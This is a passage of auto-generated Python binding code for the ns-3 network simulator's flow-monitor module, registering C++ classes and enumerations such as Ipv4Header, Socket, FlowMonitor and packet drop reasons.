'PERMANENT', 'HOMEADDRESS', 'TENTATIVE_OPTIMISTIC', 'INVALID'], outer_class=root_module['ns3::Ipv6InterfaceAddress'], import_from_module='ns.internet') ## ipv6-interface-address.h (module 'internet'): ns3::Ipv6InterfaceAddress::Scope_e [enumeration] module.add_enum('Scope_e', ['HOST', 'LINKLOCAL', 'GLOBAL'], outer_class=root_module['ns3::Ipv6InterfaceAddress'], import_from_module='ns.internet') ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix [class] module.add_class('Ipv6Prefix', import_from_module='ns.network') ## mac48-address.h (module 'network'): ns3::Mac48Address [class] module.add_class('Mac48Address', import_from_module='ns.network') ## mac48-address.h (module 'network'): ns3::Mac48Address [class] root_module['ns3::Mac48Address'].implicitly_converts_to(root_module['ns3::Address']) ## node-container.h (module 'network'): ns3::NodeContainer [class] module.add_class('NodeContainer', import_from_module='ns.network') ## object-base.h (module 'core'): ns3::ObjectBase [class] module.add_class('ObjectBase', allow_subclassing=True, import_from_module='ns.core') ## object.h (module 'core'): ns3::ObjectDeleter [struct] module.add_class('ObjectDeleter', import_from_module='ns.core') ## object-factory.h (module 'core'): ns3::ObjectFactory [class] module.add_class('ObjectFactory', import_from_module='ns.core') ## packet-metadata.h (module 'network'): ns3::PacketMetadata [class] module.add_class('PacketMetadata', import_from_module='ns.network') ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [struct] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata']) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [enumeration] module.add_enum('', ['PAYLOAD', 'HEADER', 'TRAILER'], outer_class=root_module['ns3::PacketMetadata::Item'], import_from_module='ns.network') ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator [class] module.add_class('ItemIterator', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata']) ## packet.h (module 'network'): ns3::PacketTagIterator [class] module.add_class('PacketTagIterator', import_from_module='ns.network') ## packet.h (module 'network'): ns3::PacketTagIterator::Item [class] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagIterator']) ## packet-tag-list.h (module 'network'): ns3::PacketTagList [class] module.add_class('PacketTagList', import_from_module='ns.network') ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData [struct] module.add_class('TagData', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagList']) ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::TagData_e [enumeration] module.add_enum('TagData_e', ['MAX_SIZE'], outer_class=root_module['ns3::PacketTagList::TagData'], import_from_module='ns.network') ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter> [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Object', 'ns3::ObjectBase', 'ns3::ObjectDeleter'], parent=root_module['ns3::ObjectBase'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simulator.h (module 'core'): ns3::Simulator [class] module.add_class('Simulator', destructor_visibility='private', import_from_module='ns.core') ## simulator.h (module 'core'): ns3::Simulator [enumeration] module.add_enum('', ['NO_CONTEXT'], outer_class=root_module['ns3::Simulator'], import_from_module='ns.core') ## tag.h (module 'network'): ns3::Tag [class] module.add_class('Tag', import_from_module='ns.network', parent=root_module['ns3::ObjectBase']) ## tag-buffer.h (module 'network'): ns3::TagBuffer [class] module.add_class('TagBuffer', import_from_module='ns.network') ## nstime.h (module 'core'): ns3::TimeWithUnit [class] module.add_class('TimeWithUnit', import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId [class] module.add_class('TypeId', import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::AttributeFlag [enumeration] module.add_enum('AttributeFlag', ['ATTR_GET', 'ATTR_SET', 'ATTR_CONSTRUCT', 'ATTR_SGC'], outer_class=root_module['ns3::TypeId'], import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::SupportLevel [enumeration] module.add_enum('SupportLevel', ['SUPPORTED', 'DEPRECATED', 'OBSOLETE'], outer_class=root_module['ns3::TypeId'], import_from_module='ns.core') ## type-id.h (module 'core'): ns3::TypeId::AttributeInformation [struct] module.add_class('AttributeInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId']) ## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation [struct] module.add_class('TraceSourceInformation', import_from_module='ns.core', outer_class=root_module['ns3::TypeId']) ## empty.h (module 'core'): ns3::empty [class] module.add_class('empty', import_from_module='ns.core') ## int64x64-double.h (module 'core'): ns3::int64x64_t [class] module.add_class('int64x64_t', import_from_module='ns.core') ## int64x64-double.h (module 'core'): ns3::int64x64_t::impl_type [enumeration] module.add_enum('impl_type', ['int128_impl', 'cairo_impl', 'ld_impl'], outer_class=root_module['ns3::int64x64_t'], import_from_module='ns.core') ## chunk.h (module 'network'): ns3::Chunk [class] module.add_class('Chunk', import_from_module='ns.network', parent=root_module['ns3::ObjectBase']) ## header.h (module 'network'): ns3::Header [class] module.add_class('Header', import_from_module='ns.network', parent=root_module['ns3::Chunk']) ## ipv4-header.h (module 'internet'): ns3::Ipv4Header [class] module.add_class('Ipv4Header', import_from_module='ns.internet', parent=root_module['ns3::Header']) ## ipv4-header.h (module 'internet'): ns3::Ipv4Header::DscpType [enumeration] module.add_enum('DscpType', ['DscpDefault', 'DSCP_CS1', 'DSCP_AF11', 'DSCP_AF12', 'DSCP_AF13', 'DSCP_CS2', 'DSCP_AF21', 'DSCP_AF22', 'DSCP_AF23', 'DSCP_CS3', 'DSCP_AF31', 'DSCP_AF32', 'DSCP_AF33', 'DSCP_CS4', 'DSCP_AF41', 'DSCP_AF42', 'DSCP_AF43', 'DSCP_CS5', 'DSCP_EF', 'DSCP_CS6', 'DSCP_CS7'], outer_class=root_module['ns3::Ipv4Header'], import_from_module='ns.internet') ## ipv4-header.h (module 'internet'): ns3::Ipv4Header::EcnType [enumeration] module.add_enum('EcnType', ['ECN_NotECT', 'ECN_ECT1', 'ECN_ECT0', 'ECN_CE'], outer_class=root_module['ns3::Ipv4Header'], import_from_module='ns.internet') ## ipv6-header.h (module 'internet'): ns3::Ipv6Header [class] module.add_class('Ipv6Header', import_from_module='ns.internet', parent=root_module['ns3::Header']) ## ipv6-header.h (module 'internet'): ns3::Ipv6Header::DscpType [enumeration] module.add_enum('DscpType', ['DscpDefault', 'DSCP_CS1', 'DSCP_AF11', 'DSCP_AF12', 'DSCP_AF13', 'DSCP_CS2', 'DSCP_AF21', 'DSCP_AF22', 'DSCP_AF23', 'DSCP_CS3', 'DSCP_AF31', 'DSCP_AF32', 'DSCP_AF33', 'DSCP_CS4', 'DSCP_AF41', 'DSCP_AF42', 'DSCP_AF43', 'DSCP_CS5', 'DSCP_EF', 'DSCP_CS6', 'DSCP_CS7'], outer_class=root_module['ns3::Ipv6Header'], import_from_module='ns.internet') ## ipv6-header.h (module 'internet'): ns3::Ipv6Header::NextHeader_e [enumeration] module.add_enum('NextHeader_e', ['IPV6_EXT_HOP_BY_HOP', 'IPV6_IPV4', 'IPV6_TCP', 'IPV6_UDP', 'IPV6_IPV6', 'IPV6_EXT_ROUTING', 'IPV6_EXT_FRAGMENTATION', 'IPV6_EXT_CONFIDENTIALITY', 'IPV6_EXT_AUTHENTIFICATION', 'IPV6_ICMPV6', 'IPV6_EXT_END', 'IPV6_EXT_DESTINATION', 'IPV6_SCTP', 'IPV6_EXT_MOBILITY', 'IPV6_UDP_LITE'], outer_class=root_module['ns3::Ipv6Header'], import_from_module='ns.internet') ## object.h (module 'core'): ns3::Object [class] module.add_class('Object', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter >']) ## object.h (module 'core'): ns3::Object::AggregateIterator [class] module.add_class('AggregateIterator', import_from_module='ns.core', outer_class=root_module['ns3::Object']) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeAccessor>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeChecker', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeChecker>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::AttributeValue', 'ns3::empty', 'ns3::DefaultDeleter<ns3::AttributeValue>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::CallbackImplBase', 'ns3::empty', 'ns3::DefaultDeleter<ns3::CallbackImplBase>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::EventImpl', 'ns3::empty', 'ns3::DefaultDeleter<ns3::EventImpl>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::FlowClassifier, ns3::empty, ns3::DefaultDeleter<ns3::FlowClassifier> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, template_parameters=['ns3::FlowClassifier', 'ns3::empty', 'ns3::DefaultDeleter<ns3::FlowClassifier>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Hash::Implementation, ns3::empty, ns3::DefaultDeleter<ns3::Hash::Implementation> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Hash::Implementation', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Hash::Implementation>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Ipv4MulticastRoute', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Ipv4MulticastRoute>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Ipv4Route', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Ipv4Route>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::NetDeviceQueue', 'ns3::empty', 'ns3::DefaultDeleter<ns3::NetDeviceQueue>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::NixVector', 'ns3::empty', 'ns3::DefaultDeleter<ns3::NixVector>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::OutputStreamWrapper', 'ns3::empty', 'ns3::DefaultDeleter<ns3::OutputStreamWrapper>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Packet, ns3::empty, ns3::DefaultDeleter<ns3::Packet> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::Packet', 'ns3::empty', 'ns3::DefaultDeleter<ns3::Packet>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::QueueItem, ns3::empty, ns3::DefaultDeleter<ns3::QueueItem> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::QueueItem', 'ns3::empty', 'ns3::DefaultDeleter<ns3::QueueItem>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> > [class] module.add_class('SimpleRefCount', automatic_type_narrowing=True, import_from_module='ns.core', template_parameters=['ns3::TraceSourceAccessor', 'ns3::empty', 'ns3::DefaultDeleter<ns3::TraceSourceAccessor>'], parent=root_module['ns3::empty'], memory_policy=cppclass.ReferenceCountingMethodsPolicy(incref_method='Ref', decref_method='Unref', peekref_method='GetReferenceCount')) ## socket.h (module 'network'): ns3::Socket [class] module.add_class('Socket', import_from_module='ns.network', parent=root_module['ns3::Object']) ## socket.h (module 'network'): ns3::Socket::SocketErrno [enumeration] module.add_enum('SocketErrno', ['ERROR_NOTERROR', 'ERROR_ISCONN', 'ERROR_NOTCONN', 'ERROR_MSGSIZE', 'ERROR_AGAIN', 'ERROR_SHUTDOWN', 'ERROR_OPNOTSUPP', 'ERROR_AFNOSUPPORT', 'ERROR_INVAL', 'ERROR_BADF', 'ERROR_NOROUTETOHOST', 'ERROR_NODEV', 'ERROR_ADDRNOTAVAIL', 'ERROR_ADDRINUSE', 'SOCKET_ERRNO_LAST'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::Socket::SocketType [enumeration] module.add_enum('SocketType', ['NS3_SOCK_STREAM', 'NS3_SOCK_SEQPACKET', 'NS3_SOCK_DGRAM', 'NS3_SOCK_RAW'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::Socket::SocketPriority [enumeration] module.add_enum('SocketPriority', ['NS3_PRIO_BESTEFFORT', 'NS3_PRIO_FILLER', 'NS3_PRIO_BULK', 'NS3_PRIO_INTERACTIVE_BULK', 'NS3_PRIO_INTERACTIVE', 'NS3_PRIO_CONTROL'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::Socket::Ipv6MulticastFilterMode [enumeration] module.add_enum('Ipv6MulticastFilterMode', ['INCLUDE', 'EXCLUDE'], outer_class=root_module['ns3::Socket'], import_from_module='ns.network') ## socket.h (module 'network'): ns3::SocketIpTosTag [class] module.add_class('SocketIpTosTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketIpTtlTag [class] module.add_class('SocketIpTtlTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketIpv6HopLimitTag [class] module.add_class('SocketIpv6HopLimitTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketIpv6TclassTag [class] module.add_class('SocketIpv6TclassTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketPriorityTag [class] module.add_class('SocketPriorityTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## socket.h (module 'network'): ns3::SocketSetDontFragmentTag [class] module.add_class('SocketSetDontFragmentTag', import_from_module='ns.network', parent=root_module['ns3::Tag']) ## nstime.h (module 'core'): ns3::Time [class] module.add_class('Time', import_from_module='ns.core') ## nstime.h (module 'core'): ns3::Time::Unit [enumeration] module.add_enum('Unit', ['Y', 'D', 'H', 'MIN', 'S', 'MS', 'US', 'NS', 'PS', 'FS', 'LAST'], outer_class=root_module['ns3::Time'], import_from_module='ns.core') ## nstime.h (module 'core'): ns3::Time [class] root_module['ns3::Time'].implicitly_converts_to(root_module['ns3::int64x64_t']) ## trace-source-accessor.h (module 'core'): ns3::TraceSourceAccessor [class] module.add_class('TraceSourceAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::TraceSourceAccessor, ns3::empty, ns3::DefaultDeleter<ns3::TraceSourceAccessor> >']) ## trailer.h (module 'network'): ns3::Trailer [class] module.add_class('Trailer', import_from_module='ns.network', parent=root_module['ns3::Chunk']) ## attribute.h (module 'core'): ns3::AttributeAccessor [class] module.add_class('AttributeAccessor', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeAccessor, ns3::empty, ns3::DefaultDeleter<ns3::AttributeAccessor> >']) ## attribute.h (module 'core'): ns3::AttributeChecker [class] module.add_class('AttributeChecker', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeChecker, ns3::empty, ns3::DefaultDeleter<ns3::AttributeChecker> >']) ## attribute.h (module 'core'): ns3::AttributeValue [class] module.add_class('AttributeValue', allow_subclassing=False, automatic_type_narrowing=True, import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::AttributeValue, ns3::empty, ns3::DefaultDeleter<ns3::AttributeValue> >']) ## callback.h (module 'core'): ns3::CallbackChecker [class] module.add_class('CallbackChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## callback.h (module 'core'): ns3::CallbackImplBase [class] module.add_class('CallbackImplBase', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::CallbackImplBase, ns3::empty, ns3::DefaultDeleter<ns3::CallbackImplBase> >']) ## callback.h (module 'core'): ns3::CallbackValue [class] module.add_class('CallbackValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## attribute.h (module 'core'): ns3::EmptyAttributeAccessor [class] module.add_class('EmptyAttributeAccessor', import_from_module='ns.core', parent=root_module['ns3::AttributeAccessor']) ## attribute.h (module 'core'): ns3::EmptyAttributeChecker [class] module.add_class('EmptyAttributeChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## attribute.h (module 'core'): ns3::EmptyAttributeValue [class] module.add_class('EmptyAttributeValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## event-impl.h (module 'core'): ns3::EventImpl [class] module.add_class('EventImpl', import_from_module='ns.core', parent=root_module['ns3::SimpleRefCount< ns3::EventImpl, ns3::empty, ns3::DefaultDeleter<ns3::EventImpl> >']) ## flow-classifier.h (module 'flow-monitor'): ns3::FlowClassifier [class] module.add_class('FlowClassifier', parent=root_module['ns3::SimpleRefCount< ns3::FlowClassifier, ns3::empty, ns3::DefaultDeleter<ns3::FlowClassifier> >']) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor [class] module.add_class('FlowMonitor', parent=root_module['ns3::Object']) ## flow-monitor.h (module 'flow-monitor'): ns3::FlowMonitor::FlowStats [struct] module.add_class('FlowStats', outer_class=root_module['ns3::FlowMonitor']) ## flow-probe.h (module 'flow-monitor'): ns3::FlowProbe [class] module.add_class('FlowProbe', parent=root_module['ns3::Object']) ## flow-probe.h (module 'flow-monitor'): ns3::FlowProbe::FlowStats [struct] module.add_class('FlowStats', outer_class=root_module['ns3::FlowProbe']) ## ipv4.h (module 'internet'): ns3::Ipv4 [class] module.add_class('Ipv4', import_from_module='ns.internet', parent=root_module['ns3::Object']) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressChecker [class] module.add_class('Ipv4AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv4-address.h (module 'network'): ns3::Ipv4AddressValue [class] module.add_class('Ipv4AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv4-flow-classifier.h (module 'flow-monitor'): ns3::Ipv4FlowClassifier [class] module.add_class('Ipv4FlowClassifier', parent=root_module['ns3::FlowClassifier']) ## ipv4-flow-classifier.h (module 'flow-monitor'): ns3::Ipv4FlowClassifier::FiveTuple [struct] module.add_class('FiveTuple', outer_class=root_module['ns3::Ipv4FlowClassifier']) ## ipv4-flow-probe.h (module 'flow-monitor'): ns3::Ipv4FlowProbe [class] module.add_class('Ipv4FlowProbe', parent=root_module['ns3::FlowProbe']) ## ipv4-flow-probe.h (module 'flow-monitor'): ns3::Ipv4FlowProbe::DropReason [enumeration] module.add_enum('DropReason', ['DROP_NO_ROUTE', 'DROP_TTL_EXPIRE', 'DROP_BAD_CHECKSUM', 'DROP_QUEUE', 'DROP_QUEUE_DISC', 'DROP_INTERFACE_DOWN', 'DROP_ROUTE_ERROR', 'DROP_FRAGMENT_TIMEOUT', 'DROP_INVALID_REASON'], outer_class=root_module['ns3::Ipv4FlowProbe']) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol [class] module.add_class('Ipv4L3Protocol', import_from_module='ns.internet', parent=root_module['ns3::Ipv4']) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol::DropReason [enumeration] module.add_enum('DropReason', ['DROP_TTL_EXPIRED', 'DROP_NO_ROUTE', 'DROP_BAD_CHECKSUM', 'DROP_INTERFACE_DOWN', 'DROP_ROUTE_ERROR', 'DROP_FRAGMENT_TIMEOUT'], outer_class=root_module['ns3::Ipv4L3Protocol'], import_from_module='ns.internet') ## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker [class] module.add_class('Ipv4MaskChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue [class] module.add_class('Ipv4MaskValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute [class] module.add_class('Ipv4MulticastRoute', import_from_module='ns.internet', parent=root_module['ns3::SimpleRefCount< ns3::Ipv4MulticastRoute, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4MulticastRoute> >']) ## ipv4-route.h (module 'internet'): ns3::Ipv4Route [class] module.add_class('Ipv4Route', import_from_module='ns.internet', parent=root_module['ns3::SimpleRefCount< ns3::Ipv4Route, ns3::empty, ns3::DefaultDeleter<ns3::Ipv4Route> >']) ## ipv4-routing-protocol.h (module 'internet'): ns3::Ipv4RoutingProtocol [class] module.add_class('Ipv4RoutingProtocol', import_from_module='ns.internet', parent=root_module['ns3::Object']) ## ipv6.h (module 'internet'): ns3::Ipv6 [class] module.add_class('Ipv6', import_from_module='ns.internet', parent=root_module['ns3::Object']) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker [class] module.add_class('Ipv6AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue [class] module.add_class('Ipv6AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## ipv6-flow-classifier.h (module 'flow-monitor'): ns3::Ipv6FlowClassifier [class] module.add_class('Ipv6FlowClassifier', parent=root_module['ns3::FlowClassifier']) ## ipv6-flow-classifier.h (module 'flow-monitor'): ns3::Ipv6FlowClassifier::FiveTuple [struct] module.add_class('FiveTuple', outer_class=root_module['ns3::Ipv6FlowClassifier']) ## ipv6-flow-probe.h (module 'flow-monitor'): ns3::Ipv6FlowProbe [class] module.add_class('Ipv6FlowProbe', parent=root_module['ns3::FlowProbe']) ## ipv6-flow-probe.h (module 'flow-monitor'): ns3::Ipv6FlowProbe::DropReason [enumeration] module.add_enum('DropReason', ['DROP_NO_ROUTE', 'DROP_TTL_EXPIRE', 'DROP_BAD_CHECKSUM', 'DROP_QUEUE', 'DROP_QUEUE_DISC', 'DROP_INTERFACE_DOWN', 'DROP_ROUTE_ERROR', 'DROP_UNKNOWN_PROTOCOL', 'DROP_UNKNOWN_OPTION', 'DROP_MALFORMED_HEADER', 'DROP_FRAGMENT_TIMEOUT', 'DROP_INVALID_REASON'], outer_class=root_module['ns3::Ipv6FlowProbe']) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ipv6L3Protocol [class] module.add_class('Ipv6L3Protocol', import_from_module='ns.internet', parent=root_module['ns3::Ipv6']) ## ipv6-l3-protocol.h (module 'internet'): ns3::Ipv6L3Protocol::DropReason [enumeration] module.add_enum('DropReason', ['DROP_TTL_EXPIRED', 'DROP_NO_ROUTE', 'DROP_INTERFACE_DOWN', 'DROP_ROUTE_ERROR', 'DROP_UNKNOWN_PROTOCOL', 'DROP_UNKNOWN_OPTION', 'DROP_MALFORMED_HEADER', 'DROP_FRAGMENT_TIMEOUT'], outer_class=root_module['ns3::Ipv6L3Protocol'], import_from_module='ns.internet') ## ipv6-pmtu-cache.h (module 'internet'): ns3::Ipv6PmtuCache [class] module.add_class('Ipv6PmtuCache', import_from_module='ns.internet', parent=root_module['ns3::Object']) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixChecker [class] module.add_class('Ipv6PrefixChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## ipv6-address.h (module 'network'): ns3::Ipv6PrefixValue [class] module.add_class('Ipv6PrefixValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## mac48-address.h (module 'network'): ns3::Mac48AddressChecker [class] module.add_class('Mac48AddressChecker', import_from_module='ns.network', parent=root_module['ns3::AttributeChecker']) ## mac48-address.h (module 'network'): ns3::Mac48AddressValue [class] module.add_class('Mac48AddressValue', import_from_module='ns.network', parent=root_module['ns3::AttributeValue']) ## net-device.h (module 'network'): ns3::NetDevice [class] module.add_class('NetDevice', import_from_module='ns.network', parent=root_module['ns3::Object']) ## net-device.h (module 'network'): ns3::NetDevice::PacketType [enumeration] module.add_enum('PacketType', ['PACKET_HOST', 'NS3_PACKET_HOST', 'PACKET_BROADCAST', 'NS3_PACKET_BROADCAST', 'PACKET_MULTICAST', 'NS3_PACKET_MULTICAST', 'PACKET_OTHERHOST', 'NS3_PACKET_OTHERHOST'], outer_class=root_module['ns3::NetDevice'], import_from_module='ns.network') ## net-device.h (module 'network'): ns3::NetDeviceQueue [class] module.add_class('NetDeviceQueue', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::NetDeviceQueue, ns3::empty, ns3::DefaultDeleter<ns3::NetDeviceQueue> >']) ## net-device.h (module 'network'): ns3::NetDeviceQueueInterface [class] module.add_class('NetDeviceQueueInterface', import_from_module='ns.network', parent=root_module['ns3::Object']) ## nix-vector.h (module 'network'): ns3::NixVector [class] module.add_class('NixVector', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::NixVector, ns3::empty, ns3::DefaultDeleter<ns3::NixVector> >']) ## node.h (module 'network'): ns3::Node [class] module.add_class('Node', import_from_module='ns.network', parent=root_module['ns3::Object']) ## object-factory.h (module 'core'): ns3::ObjectFactoryChecker [class] module.add_class('ObjectFactoryChecker', import_from_module='ns.core', parent=root_module['ns3::AttributeChecker']) ## object-factory.h (module 'core'): ns3::ObjectFactoryValue [class] module.add_class('ObjectFactoryValue', import_from_module='ns.core', parent=root_module['ns3::AttributeValue']) ## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper [class] module.add_class('OutputStreamWrapper', import_from_module='ns.network', parent=root_module['ns3::SimpleRefCount< ns3::OutputStreamWrapper, ns3::empty, ns3::DefaultDeleter<ns3::OutputStreamWrapper> >']) ## packet.h (module 'network'): ns3::Packet [class] module.add_class('Packet', 